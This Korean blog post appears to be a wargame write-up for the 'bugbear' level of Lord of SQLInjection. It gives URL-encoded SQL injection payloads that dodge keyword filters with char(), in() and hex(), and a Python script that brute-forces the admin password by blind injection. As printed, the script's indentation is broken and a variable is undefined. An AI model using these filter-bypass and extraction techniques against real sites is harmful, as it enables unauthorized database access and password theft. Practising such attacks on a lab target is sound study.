Network/LOS

[LOS_13]bugbear

dcho 2019. 8. 28. 01:14
SMALL


한층더 업그레이드 되는 필터기능 이다. 대체 되는 것들로 정리를 하면 아래와 같다.

?pw=1&no=2%7c%7c((id)in(char(97,100,109,105,110)))%26%26((no)in(char(50)))

대체 함수로 요리조리 피해서 Hello admin을 추출해 낼 수 있었다.

그렇다면 길이를 확인하는 것도 금방 일 것이다.

?pw=1&no=2%7c%7c((id)in(char(97,100,109,105,110)))%26%26length(pw)<9
?pw=1&no=2%7c%7c((id)in(char(97,100,109,105,110)))%26%26length(pw)<8


이로써 8자리 국룰인것을 확인하고 pw의 정확한 값을 알아내기 위해 자동화 코드를 짜 보았다.


이렇게 더 필터링되는것을 확인하고 최종적인 결과

import requests

headers = {"cookie": 'PHPSESSID=[Your Session ID]'} # 자신의 쿠키값

for i in range(1, 9): # 큰 반복분 8자리 이기에 9까지
    for j in range(48, 127): # 작은 반복문 숫자부터 시작함

        params = {'pw': "1",
                  'no': "0||((id)in(char(97,100,109,105,110)))&&hex(mid(pw," + str(i) + ",1))in(hex(" + str(j) + "))"}

        r = requests.get(url, params=params, headers=headers)
    
        if "Hello admin" in r.text: # 응답값에서 텍스트가 Hello admin이면 출력하고 다음자리로
        print(chr(j), end='')
        break



클리어!



'Network > LOS' 카테고리의 다른 글

[LOS_15]assassin  (0) 2019.08.28
[LOS_14]giant  (0) 2019.08.28
[LOS_12]darkknight  (0) 2019.08.27
[LOS_11]golem  (0) 2019.08.27
[LOS_10]skeleton  (0) 2019.08.17